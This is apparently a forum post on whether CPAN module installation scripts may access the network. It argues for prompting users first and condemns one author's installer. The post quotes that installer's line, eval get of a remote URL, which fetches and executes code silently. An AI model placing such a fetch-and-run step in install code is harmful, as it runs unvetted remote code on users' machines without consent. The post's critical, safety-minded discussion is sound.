Should any of the module installation processes access web sites or anything else outside the machine ?

Sometimes (depends on the purpose of the module).

If yes, is that OK to do that without asking the user first?

No! Asking the user doesn't cost you anything, but not asking can cost you (your reputation, ...).

What is apparently somewhat acceptable is trying to ascertain if the user is connected to the internet (like in http://search.cpan.org/src/GAAS/libwww-perl-5.803/Makefile.PL) before prompting the user (using ExtUtils::MakeMaker's prompt function, the official way to prompt in cpan distributions) by trying to connect to say google.com.

I say somewhat because a few distributions currently do it and its mostly harmless. I however strongly feel that this testing for an internet connection is best done inside each test file, only if the user first agreed to these tests after being prompted (during Makefile.PL).

I also strongly feel that the default when prompting for this should always no, because of the way the prompt function works (if its not an interactive session, which can often be the case, the default is taken to be the answer).

What is absolutely unacceptable is what DOMIZIO used to do (as described here), which basically was eval get "http://his.machine/secret.url" without any prompting whatsoever.